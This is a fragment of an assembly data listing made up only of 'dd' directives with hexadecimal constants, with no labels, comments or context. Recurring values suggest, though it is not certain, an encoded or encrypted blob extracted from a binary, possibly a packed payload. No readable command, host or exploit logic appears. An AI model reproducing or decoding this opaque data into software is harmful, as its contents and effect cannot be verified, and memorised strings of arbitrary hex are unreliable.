		dd 0C157F37Bh, 3A7C4AE5h, 472AE548h, 0E4B31213h, 3609EBAEh
		dd 3DFF610Ch, 3D0A9B61h, 0EEEF361h, 4726363Ah, 41CC3196h
		dd 0E8509AC8h, 48F5BF1Bh, 253F03C9h, 65D0D94Ch,	35A5F36Bh
		dd 3CA4E495h, 0A5FEFC61h, 7028AF53h, 981A7E79h
		dd 2D8B079Eh, 8E4D142Dh, 0FC43D31Fh, 6CDE8575h,	1F0552D5h
		dd 3DF0074Ah, 10DDF361h, 4412E6Bh, 66DFBDE0h, 73F47A63h
		dd 0C0749E65h, 44FDDEF0h, 3CA5F385h, 926FCE6Eh,	48EC0A77h
		dd 0CDF66300h, 181FE8C2h, 0BF7393C8h, 346B5555h, 0B6A5F30Eh
		dd 49770FE9h, 38D76AC6h, 0C7C2FEACh, 0BABE2102h, 24A4D387h
		dd 0FCFA76Dh, 0A092DC88h, 9098F3BFh, 0C09D50A6h, 3D16408Eh
		dd 14ADF361h, 0DE26906Ah, 518428F6h, 1163CE16h,	52C1E9D9h
		dd 55673174h, 0C9828B52h, 517F3110h, 0AA904B1Fh, 0B4BA7468h
		dd 0AB5656C6h, 89424665h, 4CE3FB9Fh, 90E942C8h,	0AA7F3200h
		dd 181A02CBh, 0B86DBC9Ch, 0C1A400C0h, 0AE0E6FE9h, 3D21DF50h
		dd 0CDF0CE51h, 1D1313B7h, 25A6EB25h, 0E31E1B89h, 0F63E01C6h
		dd 1D1677B5h, 89D5517Dh, 26C1E4A4h, 0F554A61Ah,	2CC8323Ah
		dd 237F3200h, 0B3F0BEF7h, 4F208A2Ah, 0AFD54C1Dh, 94C9DA64h
		dd 5BE38C4Ah, 86E32C08h, 0C25A639Fh, 51803378h,	7FDD7B1Dh
		dd 0ED012C09h, 0B6F55350h, 99AAE3F5h, 6C819ED2h, 739FF078h
		dd 5184257Fh, 0B40C4ABEh, 0D16FE995h, 5180323Bh, 0C0628597h
		dd 0CFB9280Bh, 0F5625996h, 1F200F13h, 0A68454ECh, 0A62D1DA3h
		dd 0AAAAB32Bh, 0BA9315D2h, 64F414FDh, 0B6BC204Eh, 0B9815B28h
		dd 8390F6C7h, 14DBB181h, 30496CE5h, 0C209D92Bh,	72DCBB72h
		dd 0D9EBF882h, 0E5E221B2h, 99ACB9DBh, 0DAECD4E9h, 78A880A6h
		dd 61E3244Ch, 107804FEh, 844CB1E0h, 0A31B78FAh,	0C078C679h
		dd 0ED33E55Fh, 0FB8AFFFCh, 2FF0E8B2h, 0CBB17BEEh, 0CF8C38F9h
		dd 8BB2DC63h, 14ED4170h, 542064B5h, 86AECC7Bh, 6B4F218h
		dd 0AD9EC7E0h, 0C3591F73h, 0CC0D5618h, 0C8D228F3h, 421ADDE3h
		dd 132A3B53h, 0AD8A0529h, 0E1ECE026h, 0EDAF7155h, 4D52DC62h
		dd 0F9F39012h, 55A38341h, 1C25D0F6h, 529B8B3Dh,	5064C461h
		dd 0E0974F4Ah, 9AFFE7C8h, 0CE84379Ah, 5EDC1C8Fh, 37FCC94Bh
		dd 0D5B45F11h, 85F8EFFFh, 1FD381BDh, 5354AA2Eh,	0B6FF77BDh
		dd 40B1881Fh, 38D56FDh,	4E965023h, 3CB3496Eh, 1A1BB0E9h
		dd 4A3163FFh, 0EA2038DAh, 67AB241Eh, 0DFD596D1h, 29482267h
		dd 240B98DDh, 0D365DCA0h, 90EB49Ch, 0FAF0E480h,	0B71D0F52h
		dd 0D3600F0Fh, 9BF4E17Bh, 3F9F88Fh, 20799A61h, 0D223FBAAh
		dd 49B10018h, 76862667h, 0B9AD35EFh, 77D4D6C7h,	0B6D6E31Fh
		dd 207C3AB1h, 0A0779DE1h, 71835A5Ah, 350CDF3Ah,	9F85C4F3h
		dd 0A46164ACh, 0A66834Bh, 673BE31Bh, 877377D4h,	59BAC30Dh
		dd 8659591Eh, 0A5DE8F24h, 0B719F196h, 0D2FAB5AAh, 0DBCF0E90h
		dd 707D66EBh, 718A044Ch, 48343162h, 0CF2C30A9h,	7A8C6514h
		dd 1405174Eh, 0D1936577h, 0BEAF26C3h, 7BC378AFh, 2F24D2CBh
		dd 0EEE100B8h, 1CA7B317h, 3E888613h, 5452C333h,	0DE39855h
		dd 9D26029Ah, 0F053B471h, 2A643B1Bh, 8E827F30h,	822B80CAh
		dd 5255ECF4h, 3C04B9D3h, 0A92F9CAEh, 541F0418h,	0B6B7E8FEh
		dd 4E4E7B9Dh, 88B6D7C9h, 615B3F2Ah, 9412B23h, 0D154F60Bh
		dd 0E6C039AAh, 4FC2527h, 0A60F7935h, 0B4E887ADh, 0FA7F40F6h
		dd 0C99A39CCh, 70BBA27Bh, 0FB847639h, 0D077AB85h, 0E00A549Eh
		dd 7F90729Fh, 0C2770701h, 0C38BC5D6h, 627E39F3h, 75DB729Ah
		dd 0ADBAC3FEh, 0D0D3B6E9h, 4D8DD8F6h, 0BC373757h, 0FB0D5D89h
		dd 0F8DC1903h, 0F15DDA0Dh, 1AF8093Eh, 5A51FEFEh, 0F1CAB157h
		dd 71A6832Ch, 7B99097Fh, 0E019DA2Ch, 2B5B7065h,	7112B8B1h
		dd 928D3F9Fh, 79B0A409h, 0A508F028h, 384B1846h,	0F2B8AA55h
		dd 574D6232h, 688C6F04h, 3B07C0D5h, 0A44DC040h,	0A75B15B3h
		dd 1812EC83h, 0AB29951Fh, 0BF10EC83h, 638114A8h, 642CF9D4h
		dd 0F9557681h, 0ABE55F3Fh, 4392EC83h, 0C6F540DFh, 5E36A490h
		dd 0C5A52305h, 34B07A0Ah, 0AE834524h, 0F5888E26h, 8B1EFF31h
		dd 741EA8CFh, 828AE4B1h, 0C0CA3876h, 8372147h, 5CB7E932h
		dd 8B092E88h, 92F4F5B3h, 3D2C768Fh, 1F41225Bh, 0FB3CA461h
		dd 36444CD2h, 6652C9DFh, 1306F9ACh, 0BF5822A2h,	11FD1D0Fh
		dd 0EE01AED1h, 766B7020h, 1705E550h, 3D15679Ch,	64F6422Ah
		dd 0F9AAA768h, 3319A7AEh, 0DA52D83h, 1B77A223h,	684F35B2h
		dd 81232F56h, 0E4826DA7h, 3CBED27h, 5A3CA6A7h, 350E3652h
		dd 2A582F7Eh, 0FB620E6Eh, 0EB487ABh, 323A4E1Dh,	721BCBC7h
		dd 1D13DB7Eh, 899A0493h, 5B6F2F43h, 0B3006C2Eh,	300AD98Ch
		dd 96FC9626h, 0CD8DDE6Dh, 377DC6B8h, 296E8000h,	0B56F9217h
		dd 0F2C6AC60h, 0F4F4C0DEh, 10A6EFBDh, 915289D6h, 4DC3D86Dh
		dd 0C67ECA7Eh, 0A6BB3A9Ah, 36E645C3h, 5EDE8B07h, 5712D57Dh
		dd 0AB57C37Dh, 0B6BC1E56h, 8D4B1894h, 0FD8D6AACh, 27CF556Eh
		dd 0C20DAB63h, 648938F3h, 8775D549h, 27A1AE65h,	548F8FB9h
		dd 0ADBFBA14h, 52B0A70Bh, 0B30B6475h, 6A029E6Ch, 0AAB2E6D7h
		dd 3013C16Bh, 0D44C000Ch, 0C1B520F8h, 3E888788h, 718C846Fh
		dd 0E19668Dh, 0B7AFC4D0h, 1B5D9572h, 0EDEAB076h, 89E13816h
		dd 795D9573h, 0F681FFAAh, 0C05DF0C2h, 60ECDC55h, 6C9A2279h
		dd 9DBE87ECh, 49B12E59h, 582BFF4Fh, 2E5378E1h, 0A94F5092h
		dd 5A091B7Ch, 0F4DBDEAEh, 0E0037B00h, 0BA310185h, 4B35AAA3h
		dd 5E01A5B3h, 0CF93C04h, 0DFFAC2E2h, 0A2D98163h, 0D5CD5E2h
		dd 1C6D0920h, 0FD05F1EDh, 0EB68F687h, 68888000h, 101F7EFFh
		dd 0A56B973Bh, 28C764A6h, 0A67116E5h, 803F7186h, 0D25DA3D7h
		dd 523BE320h, 781C19A6h, 0DAD4E20Eh, 0DC5CB98Bh, 6C9AD5B1h
		dd 7CED8418h, 50C26E7Fh, 57E1FC1Eh, 777A10C8h, 6882D6ECh
		dd 6F649120h, 26105C80h, 0D0AC7EA6h, 889F8734h,	19E185C4h
		dd 9C70BA3h, 0C6C22702h, 0B025B052h, 8CD1909Ah,	9F8C4216h
		dd 0EB03BA03h, 0EA6D0447h, 161BDF41h, 6E6B7DDCh, 0BC0A4CC1h
		dd 0F694B618h, 9970A1DFh, 9D7A95B2h, 85F7D837h,	0F46F06C4h
		dd 1DF7D88Eh, 2D1A4EFAh, 0F8D28516h, 70631065h,	516BB335h
		dd 1CA581DBh, 89D024E5h, 0DF6769EDh, 0B9A22145h, 62F1E832h
		dd 154B0FEAh, 0C23AE1FEh, 45AEC533h, 4AC48D47h,	0B6EC0A3Ah
		dd 56EB5C0Fh, 0A87B1A50h, 22F03550h, 6C9B8CEFh,	0ED8EB513h
		dd 739ADB06h, 895716FFh, 1257C284h, 0EDB82E2Ch,	599ADB06h
		dd 6C9B8D45h, 8D909F13h, 0C0114B2h, 0A2442263h,	0A68137F6h
		dd 3FC75E07h, 8B1428F6h, 71AC2319h, 0C6A9DA13h,	6FCDB6Fh
		dd 0BCBCC878h, 52360F22h, 0F44F9C5Eh, 4F43D471h, 7B34B6C8h
		dd 0ED085E5Eh, 0F6A4E3BDh, 35BD98F4h, 8AA1C83h,	38844B4Fh
		dd 0F95F4DDDh, 0F656641Dh, 844DB491h, 0AE9E1C5Bh, 4B37AE80h
		dd 138A059Bh, 7FA276D4h, 4E8B61C5h, 5D18E502h, 667FDBCAh
		dd 6CDFC3B0h, 0F770BB42h, 4A80622h, 523518B5h, 55678DD9h
		dd 0D44DD9ECh, 62451AA7h, 4B0DC5A0h, 0DAC98AB4h, 0DF634DDFh
		dd 97CAEF5Fh, 6C9AD4D6h, 2CA393E7h, 0EFFF2BE3h,	0A65D9824h
		dd 0E5BB45Bh, 0A6F23640h, 0AB3DF0D1h, 5D226D6Ah, 0AFBFF930h
		dd 1B6AB1A1h, 0B0673F87h, 27C5CDDBh, 0E7B34E48h, 0E152264h
		dd 0B34027B2h, 0A219BFC0h, 0E6D6FB34h, 6C9B779Ah, 0DB725678h
		dd 0DFAE0281h, 8BCD01DAh, 7EB4E97Eh, 0B6BDBB53h, 5D537DDh
		dd 0A9EA7F86h, 2ECC971Ah, 349ADA1Ch, 6C9AD4F0h,	6C9E0832h
		dd 0C5412813h, 71071A1Ch, 87013AEh, 48645A2Dh, 0D4856F89h
		dd 6C9AC45Dh, 0DBE2E213h, 1175283Fh, 0B9AE95B6h, 9D1E19C8h
		dd 55067FAAh, 0C299E20Bh
		dd 8E2DDAFDh, 6C9B77A7h, 14A1CF91h, 0E4B3293Dh,	0A7BD5498h
		dd 83E05E15h, 3812EE4Bh, 0DADE3873h, 33A28938h,	0AED5D5A8h
		dd 68E8299Dh, 2511D20Eh, 0ED16504Dh, 5A871C53h,	254EF695h
		dd 7721AB6Bh, 601F0847h, 0FEE7FF27h, 0CA507D9Ah, 0DC9B8E28h
		dd 0AA1B59B4h, 275A741Ah, 0EF6260BBh, 8431F999h, 9A093A7h
		dd 71588E3Eh, 356186AAh, 0E55CCBB5h, 88505158h,	0A511CFD5h
		dd 0E6154AA0h, 456CC68Eh, 47432AEAh, 6BC37B4Ch,	0E4B1BB45h
		dd 0AB647CACh, 0AB69EF3Eh, 76FCECB6h, 0BDA42E35h, 1BEE899Eh
		dd 0A4E7F80Ah, 42CFF9B6h, 524B1C87h, 4BA599CAh,	9D15D07Eh
		dd 9191332Eh, 0AB7918B8h, 0A904F9B6h, 0B284035Fh, 897316AEh
		dd 7C268995h, 2576E233h, 0B824046Fh, 0E5F7A4C8h, 0A511CFD6h
		dd 55B82145h, 36F650BAh, 934300B4h, 0E5EFBCA1h,	25A3403Dh
		dd 8E052A2Fh, 25A3403Dh, 0AB6E5F63h, 11178DB6h,	572D37F4h
		dd 7A2D0786h, 41927CFCh, 2B11F8CFh, 4DB9CC47h, 0AB648BC8h
		dd 553F02B6h, 5AFC508Ah, 0A3D3151h, 401BA37Dh, 0AB49C1E1h
		dd 0CD1121B6h, 0A92C2527h, 13C91EEh, 7B8358E8h,	0C151945Eh
		dd 11AF3785h, 0E0F5C18Ah, 35FBFDEEh, 0BA7F8EFAh, 5A18E50Ah
		dd 38569BF8h, 577DD06Eh, 0B4347BF0h, 6D7045BFh,	31F92E84h
		dd 9CF13D39h, 0B26222F1h, 38548540h, 92C42AEBh,	3EAEF422h
		dd 0F044292Ah, 19D8815Fh, 0BFA18E7Bh, 0D96AC6CDh, 7B304EA7h
		dd 6C2EE3F0h, 71DAC9B6h, 7C9F3784h, 3574D795h, 7C10EA41h
		dd 62816225h, 38AD8CC3h, 86E71326h, 538837BEh, 0CD472E12h
		dd 740DF4A8h, 0FC5B626Ch, 0ECF4BF3h, 6D6FA87Fh,	0F8B35584h
		dd 0DB5AA291h, 2975FB27h, 0C534B8F6h, 9977554Fh, 0C19F3796h
		dd 59B1F2E0h, 0FA6BF933h, 7C9F37A9h, 4CA128E3h,	0FB82B5D4h
		dd 0EA687815h, 0B126A7ABh, 6162107Ch, 15E57664h, 0ED4F6185h
		dd 1C496E0Bh, 6B791FE1h, 15E282D8h, 5AA7B264h, 829146DDh
		dd 0A323D3F9h, 0FB37FBBEh, 0B4B39F25h, 15E1AF5Fh, 9247FAC6h
		dd 76B770C7h, 9223852Ch, 0E4E1DA1Dh, 0B63CF82Bh, 9CD8F427h
		dd 7C582C70h, 41E0FE5Bh, 15E22654h, 0DC216325h,	0D73F450Ah
		dd 0CDF96957h, 0B55FE4FDh, 11DC4A27h, 2D5321AEh, 0D3AFDC37h
		dd 4D1AFCAh, 1475E5BEh,	2CD101Bh, 53031525h, 0DE1F9C87h
		dd 145D2DBBh, 15E5141Bh, 0E0A73B25h, 0B61F7E38h, 0B0A6D22Dh
		dd 0D969A628h, 22712A95h, 461F7E8Ah, 0B55055DBh, 33F43527h
		dd 591E1563h, 0BA707149h, 3A1F2A8Fh, 42DA1D8Bh,	9B0F4830h
		dd 4876B655h, 32CDE98Eh, 79099B9Bh, 90222CD7h, 60BE8007h
		dd 2B544EDBh, 0D0653C2Fh, 7 dup(0D04E7F1Ch), 0D208351Ch
		dd 33h dup(0D04E7F1Ch),	63212F1Ch, 74846D04h, 6D4E7F28h
		dd 0DE000E7Ah, 0EF06ED01h, 0A914386Ch, 0D058A2B7h, 288AFCB8h
		dd 0BF3695E5h, 594E462Dh, 0CD625EA4h, 19B8C218h, 8B585364h
		dd 0D898AC59h, 49D9C2D3h, 0E681A51Bh, 0C00FE8A3h, 594E462Dh
		dd 0CD625EA4h, 4B8C218h, 842AECFAh, 0F998AC59h,	0D4A73AC1h
		dd 912351F5h, 7F8D2AA9h, 87BCD891h, 0B70012C8h,	10975380h
		dd 0E99498CCh, 827F066Eh, 5D023166h, 0C197412Bh, 702D9C1h
		dd 0F36B8E24h, 0E9955FFAh, 0DC870D0Bh, 6D6A0904h, 0E965D890h
		dd 0B11E5775h, 46C59471h, 0EAC0FB51h, 0E9667A04h, 12720904h
		dd 79DF776Bh, 0E99496CBh, 8E093604h, 0E6F33CD9h, 0EE810939h
		dd 93B5B566h, 0C04640D6h, 0C5283631h, 0EAC15299h, 5F74EA04h
		dd 0FA609097h, 4FECECE8h, 59E735CCh, 0DE90DE8Ah, 0E993902Eh
		dd 685E9904h, 0DA91FC3Fh, 0F462857Bh, 72D274F0h, 0B7B5C2D8h
		dd 0D7D17AF4h, 0A6B96029h, 3E9C8123h, 0F40CFCDFh, 82948126h
		dd 0FC8FBA5Dh, 21EA8157h, 0B8080A83h, 12CEACB0h, 3A0D5186h
		dd 0CFE2FEEBh, 0F2E17DE9h, 0AC5DD66Fh, 0A294AEEFh, 0A32BDAh
		dd 0CD8B8ED7h, 66995B4Fh, 82CEA786h, 0D3BAFA3Eh, 0A294AA98h
		dd 0C2B0DA88h, 0E8EDDBD7h, 89D53854h, 0A0EE07EEh, 6125D8B9h
		dd 76CC7F42h, 5C392917h, 0D9A0A2F6h, 0D24CD088h, 89694FFDh
		dd 576D397Dh, 0B45CC19Ah, 0C74FC9DEh, 0D368EB41h, 0E9348F47h
		dd 8942560Fh, 0C2015E25h, 7837AF2Ah, 62E9C0C5h,	0E5280E6Ah
		dd 7E138DD2h, 0ACB922DEh, 883052DBh, 0A18A2917h, 0E35730E5h
		dd 0C8592E95h, 0E168B1F0h, 6CF79F77h, 10B14EEFh, 0BA4F459Dh
		dd 896CA881h, 7DF87317h, 728DD41h, 0DDE1B3A9h, 0B3B29A3Bh
		dd 68001D1Eh, 0B7F67B37h, 8B012913h, 4379D6Bh, 2DD05D4Dh
		dd 0D37D06EEh, 0E50A7322h, 9858F11Bh, 0DB58342Dh, 8619A239h
		dd 42422917h, 0C6F2C578h, 325E443Ch, 1718D95Eh,	8DBD7B34h
		dd 2FBB050Dh, 6F50D048h, 0F25666DEh, 896BCE7Ch,	0C575917h
		dd 0CD2CD22h, 0E334533Eh, 176A221Ch, 0F267290Fh, 0C9CFCD73h
		dd 86F83245h, 896CA892h, 7FC5317h, 32E18C5Dh, 7C3E9E42h
		dd 0ED1F0104h, 0F4DEF8C1h, 9BB6C0CBh, 89425146h, 1687A6B7h
		dd 0AE4C1F6Bh, 0E3AFD7A4h, 13C3B1E2h, 335554F6h, 90BF6BC8h
		dd 76CC7F36h, 2AFC2917h, 0F1024598h, 8EEB0B3h, 0F2185031h
		dd 0E5F3D2FEh, 29FDF5F0h, 733466C5h, 15566D17h,	0C27EEE21h
		dd 0E62BDFE5h, 0BA42A3CBh, 2B53A6FEh, 12F77EB6h, 8E0F1261h
		dd 0AE19C29h, 7E2B3005h, 0C6DEE0DCh, 73346FA3h,	0BCB818FCh
		dd 0A32E0DEh, 7447600Fh, 88EFF1DCh, 0F4C05657h,	0E78CBA8Ch
		dd 0C9ABD22Fh, 2D377B0Ah, 8D13B690h, 57E1C743h,	383A5A02h
		dd 29885181h, 8CB6418Fh, 0B59517DAh, 2DE3E641h,	0F175405Dh
		dd 0D2CFAE32h, 3C74214Ah, 9B7572C8h, 443EF995h,	52CA93A9h
		dd 9DA11335h, 0A77340D0h, 6078FE9h, 0B6641A1Fh,	0A5C20F81h
		dd 0AE753E87h, 842164A1h, 68721338h, 57E31545h,	57E1BCA9h
		dd 123AF942h, 0D4828C26h, 0DBF1444Ch, 5CEEE73Bh, 5C6DAD7Dh
		dd 0EA6C4ACh, 6EAD929h,	3A4735C6h, 0B7343BB7h, 4D479450h
		dd 0ACDD3F42h, 64753E87h, 237B1F4Dh, 6D46D1C5h,	567A5817h
		dd 0E5295C0Ch, 0D921357Ch, 0ED87421Ch, 98077FDCh, 91C82741h
		dd 253EF4h, 0E956EDBAh,	0FE753E86h, 5675409Eh, 0E8FD76B5h
		dd 621B8EE6h, 5ECD9BEh,	84216468h, 93BD1338h, 56939807h
		dd 0FE2BB142h, 32F4C7CAh, 2575405Dh, 96A017D0h,	87721464h
		dd 5674CE3Dh, 296622AAh, 57E1CA4Eh, 44CDBE42h, 0B175405Dh
		dd 0B6609A0Eh, 0EE93E641h, 0C64F0CD1h, 2B49C52Ah, 57E306AAh
		dd 61F5AA9Eh, 62339F3Eh, 1BB717A0h, 82CA5AE6h, 0E9FFED1Ah
		dd 80BDA241h, 2C34B20Ah, 1BBA1F33h, 0F58B2546h,	0C84D9C00h
		dd 54100669h, 1AE4FC8h,	701E9C01h, 538601BEh, 47F9C030h
		dd 0AC4D6FDCh, 0D27F1F52h, 690232CCh, 0F3749A2Bh, 7C44F2D4h
		dd 2072E188h, 558CD79Bh, 0CAC808D3h, 39200AA1h,	1A4D2AE1h
		dd 3FEB0D83h, 94CC5042h, 0A5DAB3C0h, 66F2B346h,	1A6BEAE4h
		dd 5C049BE6h, 6EE0407Fh, 56D265CAh, 0F44D9A2Bh,	7BC9D60h
		dd 0F4C291FCh, 0F70A8DE7h, 6107E445h, 89E19DB0h, 0CAA2D7FBh
		dd 0ED4BE1F1h, 1A4EF2A3h, 35C3F8E6h, 0B1205767h, 0AACD9884h
		dd 720BF712h, 1A4D9C3Ch, 77B886C4h, 0E1B0F712h,	0A98473Eh
		dd 311C175Ah, 7EDE2195h, 674D9BE5h, 1BBB6A1Eh, 6AADFBE6h
		dd 0A30512CBh, 61E9DF9Fh, 1A522D1Dh, 1BB808E6h,	819C9BE6h
		dd 35075A2Ch, 246FDDA2h, 0AD0BFBE2h, 1B0BA7E0h,	74D49BE6h
		dd 0A54D9BE6h, 4EF0F3ACh, 891DC42Ch, 4C779368h,	0C4A09591h
		dd 0F9D78D6Eh, 0D94DBF2Ch, 0D0956FE4h, 4881EE4Bh
		dd 1A4D9CE2h, 0EBFF89B9h, 23EF60D1h, 4467B22Bh,	6349BD36h
		dd 0B14E9BE4h, 0F847DE50h, 74142CA2h, 0D85085FCh, 243CF6C0h
		dd 0E04A42E6h, 1BBA2403h, 1A52A44Dh, 7E4F83E6h,	0CC8D9CD9h
		dd 6EE0404Ch, 0E82067CAh, 1BBB71E9h, 0C273AA46h, 1A534EF9h
		dd 0ED36C0E6h, 1B7B06F0h, 9227DC50h, 0F8C565A1h, 3DA2D7ADh
		dd 0DED965C8h, 1A504620h, 0F9A21EE6h, 0F96FCCA3h, 6E86B02Dh
		dd 0D3E4C24Dh, 0B74F3B8Eh, 0EE7637E0h, 67220EDEh, 7776F0BCh
		dd 0E02D1EEh, 2EE9DBCh,	0C3F42362h, 5E1009E3h, 5FA36229h
		dd 0C6FA7428h, 39C695A2h, 6399DD02h, 0DA2578E3h, 3122121Fh
		dd 7776F116h, 0FA5BD990h, 2AFE79F5h, 0E88654Fh,	0CCC87D23h
		dd 94464120h, 7891E7C0h, 0E8BDE10Eh, 0C476620Ch, 7894FEABh
		dd 3285310Eh, 0CFE4C243h, 77766309h, 94597DBFh,	0C1EEB75Eh
		dd 9B8868E4h, 0CE048794h, 9564E16h, 2F68E69Ah, 4646C824h
		dd 7891EA37h, 0FE2F03DDh, 0D38E1B03h, 0C25846DBh, 5EFA60FAh
		dd 0B3FB6229h, 7D766203h, 1CA045DCh, 6A9FDEB6h,	62F3A7EFh
		dd 0E593E659h, 0D6A03793h, 0F879B1A1h, 2C5CDC5Dh, 7BFCB42Dh
		dd 3D57A48Dh, 40424D1Ah, 1E6A9E9Bh, 30EC8A15h, 0B5CDC69h
		dd 0BE7B79ECh, 71E69169h, 556EDFAAh, 0F22F4BCAh, 0BE5D6BADh
		dd 0EB38F9D3h, 4EB08EE0h, 815EFAC7h, 269AE095h,	3F1ADC69h
		dd 0A3E819F3h, 2E821BDDh, 0D4494282h, 25668343h, 0BE789400h
		dd 0A8ED3569h, 0DCF56CB7h, 8D9AA2D0h, 0BD1F0EE4h, 8093E35h
		dd 555BDC67h, 290BBD2Dh, 0DC64381Ah, 0B408F7FCh, 0FC38D500h
		dd 12DD2B24h, 8A2ED15Fh, 7F45D286h, 0A8C0D286h,	7CC828C1h
		dd 560277FEh, 7C416DB6h, 142F7282h, 0F661F343h,	9090CA41h
		dd 8BDC4E2Eh, 61DA6386h, 0DED8D2A1h, 208B6E42h,	1E1CAC53h
		dd 15D5068Ch, 0B3B34B13h, 72EE399Ch, 0CB47D286h, 99D76F47h
		dd 13C7DA0Bh, 35DE22B4h, 38C0D279h, 5ED91B06h, 0BA02FF37h
		dd 7A6BFBBDh, 8BDEFF93h, 5F70CB87h, 2D45D2A1h, 3BC0D27Bh
		dd 61D0C857h, 0F0B25B9Dh, 0B3458747h, 0E3C43C64h, 9A035A59h
		dd 7F8674DDh, 6F9DF071h, 0BABEB7B5h, 0A00E039Ch, 2A7872B3h
		dd 3855E7B8h, 0DF9F02AFh, 589DF071h, 469B5CB8h,	6E74D6AAh
		dd 4F1F96F4h, 8067E438h, 0FE9EDF0Eh, 73BBF599h,	5E4AF071h
		dd 739E46B4h, 0BF1DC259h, 0B0B09BFDh, 739E812Ch, 0EF964971h
		dd 0C4AECC5h, 5D21EF94h, 48C51895h, 0A4E16E4Ah,	506A9103h
		dd 0F84720FBh, 0B0AFEA85h, 72839F82h, 73747771h, 0BE9DF071h
		dd 739E46C2h, 0B0DEF094h, 0D50253BFh, 5753EF7Eh, 0D0D70D94h
		dd 40F72D78h, 0F9762518h, 178264CFh, 9A035A5Ah,	6F19B1DDh
		dd 839DF071h, 2531B3Ah,	35EC1E20h, 4BF9556Bh, 0EE875668h
		dd 0AA2925FCh, 0F47F26DBh, 0B27B9406h, 0F6F1609Fh, 739E46BDh
		dd 25EB2B4Ch, 0E31B23F6h, 5411B3E8h, 0A2517D2Dh, 0BB5539DBh
		dd 139DEF7Eh, 95F7E82Dh, 739E46BAh, 70330580h, 0C8B04FB5h
		dd 0B5C15847h, 0D519CF41h, 0BD9DF071h, 150A4B93h, 48E39D77h
		dd 0DB331318h, 0AA2925FCh, 0AE1D39DBh, 0B09DEF7Eh, 72833916h
		dd 0F8865471h, 0FE9EEFB1h, 9D4F1F99h, 0CF7DEF7Eh, 19B353B3h
		dd 55D2DA25h, 0B567EBC8h, 728350B7h, 1BAEC071h,	0AB7BF01Fh
		dd 0B0C3B1FFh, 0F1BA5101h, 0B2BACA7Dh, 73BBCEB3h, 487DF071h
		dd 0EA9000FDh, 0D84AA6D0h, 0BAFEA97h, 0B09E46DDh, 72839D75h
		dd 9D701971h, 942DEF7Eh, 1902E70Fh, 0E2B08186h,	989937AEh
		dd 85196990h, 16ED8C51h, 73FFDACBh, 36371F3Ch, 0A752F183h
		dd 81196A83h, 3619675Dh, 14C5D987h, 734E372Ah, 65455AB9h
		dd 0DA940DBFh, 3619686Ch, 2F820783h, 0D7078C4h,	43309C06h
		dd 44B72E12h, 0C1C73214h, 987C62ACh, 59F96990h,	73663CE5h
		dd 76F70E16h, 0B217DAB1h, 0B435AAD8h, 753A2614h, 0D3684AC5h
		dd 989469A6h, 0D8196990h, 0EA48F2E3h, 0D9DF8EEAh, 65458B72h
		dd 20940DBFh, 3619C0DDh, 0CE13B7B9h, 0B8FBCC03h, 0A55E748Ch
		dd 822885E4h, 0ED9DCDDCh, 80C0C18Fh, 44E365C8h,	0C1C73214h
		dd 0BC01A47Fh, 0C11A69C4h, 36FEBB72h, 0E1AFAC83h, 0A069F11h
		dd 0CFE92A0Fh, 0A2E1DBB5h, 36FF16C8h, 796F7383h, 37FA6832h
		dd 49087868h, 73466DDFh, 0A8DE5BBAh, 0B395285Bh, 18F9C35Dh
		dd 0B36E553Fh, 0F5C7A0F1h, 3619C0C5h, 6D6BD55Eh, 0D9196990h
		dd 65455AABh, 0DA940DBFh, 36FF1772h, 61EB9383h,	0CC56990h
		dd 75B5CAAFh, 3BF493F7h, 0DD77C781h, 0B8F894DDh, 18045222h
		dd 35B4F732h, 3E166A83h, 0C1FF5AB0h, 0DAAD469Dh, 36FF284Eh
		dd 5873CA83h, 3619C0CCh, 361699C4h, 0EA8C6A83h,	6EA4A00Eh
		dd 98EFB3EDh, 85196990h, 76F70E0Fh, 536CDAB1h, 36196780h
		dd 36FEC06Ah, 3BA71D83h, 36A29508h, 0E5EC2E4h, 9F9C7C50h
		dd 0B435AAC3h, 753A1AACh, 61D867C5h, 0BBF96990h, 0BE86A645h
		dd 736D3CD6h, 65455AB9h, 0A5940DBFh, 5F178CEEh,	2FCF1A0Dh
		dd 0B75B59E6h, 0D095C8B1h, 71E069A6h, 0F9E6E96Fh, 0CA106B30h
		dd 28159643h, 38DF18AEh, 0DBB6D873h, 0B0F54EDEh, 0D28BC99Fh
		dd 8E178D08h, 7D3A8DE6h, 568CADEAh, 73E02906h, 33BA3562h
		dd 0DFE0DC2Eh, 0E18D56BDh, 56A035A5h, 0D250577Ch, 552753D1h
		dd 7256577Ch, 8D1FF323h, 0A388947Bh, 0D3ED3E37h, 5672BAEAh
		dd 20C8577Ch, 159D510Eh, 540C809Fh, 789EB6C0h, 568DC054h
		dd 0F21BF97Ch, 6CF449A7h, 5EBCC3E5h, 568CADE3h,	380ABE02h
		dd 7E525674h, 3A9C30D5h, 47014B6Fh, 0DB7929E8h,	0D2659DDCh
		dd 8E178D08h, 815FBAE6h, 3EC55689h, 0A87FBF1Dh,	5471014Eh
		dd 9631797Fh, 108AC7AAh, 5671AE87h, 0F5C32019h,	1DD35893h
		dd 36DACEF8h, 47DFC690h, 568C544Ah, 8DEAA09Ch, 938C5689h
		dd 568C544Ah, 0D494D87Ch, 0DA40943Dh, 1AE1849Ch, 0DC0352BAh
		dd 0E17A51BCh, 0AEF1880Dh, 0C50C9856h, 0F4CCAD98h, 568CE503h
		dd 98DDBFBBh, 1FA78F6Ah, 9D3C80E4h, 0AFFE920h, 8E178D08h
		dd 0DC741EE6h, 0E18D56BDh, 5BDD0B5Bh, 568CE503h, 0F2216ACFh
		dd 1CDF134Eh, 27FAB128h, 1531EF12h, 568C53A8h, 54E0A09Ch
		dd 7E8C577Ch, 568CF0D3h, 0A23AF134h, 324AB983h,	1AF43BA3h
		dd 189B39ECh, 2BC8CC8Ch, 9E1679E1h, 856ED589h, 1C8C5684h
		dd 0C959CCCFh, 0EC327BD5h, 8B1D6FC8h, 0AD64AFh,	0D3103BCh
		dd 0B70348E2h, 0C54C9165h, 9C9E2446h, 3F033DD0h, 9F7C241Dh
		dd 4B7BAE4Fh, 0D0302CA9h, 9C848F19h, 53BA42F9h,	88FA51Dh
		dd 98D8E85Bh, 8F8D640Fh, 3CB03F45h, 4206F78Fh, 0AB94DF06h
		dd 0B98BC9B6h, 39032D44h, 119ABB3Ah, 5C7B728Fh,	189C4E27h
		dd 0D4F3484Eh, 599E247Eh, 9C83239Fh, 9C9809F9h,	7C78DEF9h
		dd 93FBEE49h, 0B9B629D2h, 0C92D8C10h, 9E885D05h, 141ED52Dh
		dd 60B087C6h, 4FCAF30Ch, 0EB897335h, 0C97BBEC6h, 0EAA0A440h
